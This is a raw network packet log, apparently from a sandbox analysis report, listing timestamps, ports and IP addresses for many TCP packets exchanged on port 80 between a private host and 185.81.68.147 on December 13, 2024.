Dec 13, 2024 08:18:57.942832947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.942889929 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.060905933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.060937881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.061007023 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.062467098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.062485933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.062530041 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.180632114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180660009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180675983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180691957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180706978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180722952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180741072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180756092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180759907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.180771112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180790901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180805922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180820942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180839062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.180854082 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.180879116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.180998087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181014061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181030035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181045055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181046963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.181061983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181077003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.181080103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181097031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181108952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.181113958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181130886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181145906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181147099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.181163073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181164980 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.181180954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181216002 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.181816101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181864977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.181960106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181977987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.181993008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182010889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182027102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182033062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.182044983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182060957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182061911 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.182076931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182091951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182095051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.182107925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.182109118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182126999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182145119 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.182840109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182858944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182874918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182890892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182892084 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.182908058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.182913065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.182944059 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.183254957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183273077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183288097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183305025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183331013 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.183334112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183350086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.183353901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183371067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183387995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183403969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183410883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.183422089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183437109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.183438063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183454990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.183461905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.183490038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.184159040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184237003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184254885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184271097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184279919 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.184288025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184304953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184319973 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.184319973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184333086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.184339046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184355974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184370995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184386969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184390068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.184402943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.184412003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.184452057 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.185138941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185170889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185187101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185203075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185219049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185235977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185235977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.185255051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185262918 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.185272932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185276031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.185291052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185306072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185316086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.185323954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185336113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.185339928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185358047 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.185393095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.186110973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186129093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186145067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186160088 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.186160088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186180115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186182022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.186197042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186213017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186227083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.186258078 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.186260939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186280966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186296940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186312914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186322927 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.186328888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.186352968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.186971903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187020063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.187158108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187175035 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187191010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187206030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187217951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.187222958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187242031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187252045 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.187261105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187277079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.187278032 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.187331915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.196934938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.196952105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.196966887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.196984053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197000027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197016001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197022915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.197031975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197047949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197063923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197078943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197088003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.197096109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197108984 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.197112083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197135925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.197151899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.197873116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197889090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197904110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197920084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197933912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197941065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.197952986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197964907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.197969913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197988033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.197997093 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.198004961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198019981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198035002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198041916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.198054075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198065042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.198070049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198091030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.198739052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198793888 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.198930025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198946953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198961973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198977947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.198991060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.198992014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199013948 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.199028969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199047089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199062109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199074030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.199079990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199095964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199098110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.199112892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199129105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199136972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.199161053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.199821949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199840069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199866056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199882030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199891090 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.199898958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199917078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199923992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.199934959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199950933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199963093 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.199966908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199984074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.199990988 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.200001001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200017929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200031996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200033903 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.200061083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.200764894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200781107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200809956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200815916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.200828075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200844049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200850964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.200860977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200876951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200886011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.200892925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200908899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200917006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.200926065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200942993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200951099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.200958967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.200983047 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.201817036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201833963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201848984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201864004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201868057 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.201881886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201891899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.201900005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201915026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201916933 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.201932907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201950073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201955080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.201968908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201983929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.201998949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202003956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.202030897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.202627897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202675104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.202852964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202871084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202887058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202903032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202923059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202928066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.202939987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202944994 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.202958107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202974081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202990055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.202991962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203006983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203022003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203028917 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203041077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203054905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203056097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203072071 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203735113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203766108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203778982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203782082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203799963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203814983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203821898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203833103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203845024 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203850985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203869104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203886032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203891039 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203902960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203917980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203933001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.203933954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.203957081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.204668999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.204685926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.204701900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.204729080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.204741955 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.204757929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.204775095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.204790115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.204807043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.204813957 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.204854012 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.296753883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.296807051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.296823978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.296909094 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.297013044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297029018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297045946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297061920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297070980 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.297080994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297106028 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.297131062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.297348022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297364950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297380924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297396898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297401905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.297414064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297431946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297441959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.297475100 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.297801018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297861099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.297877073 CET	80	49726	185.81.68.147	192.168.2.11
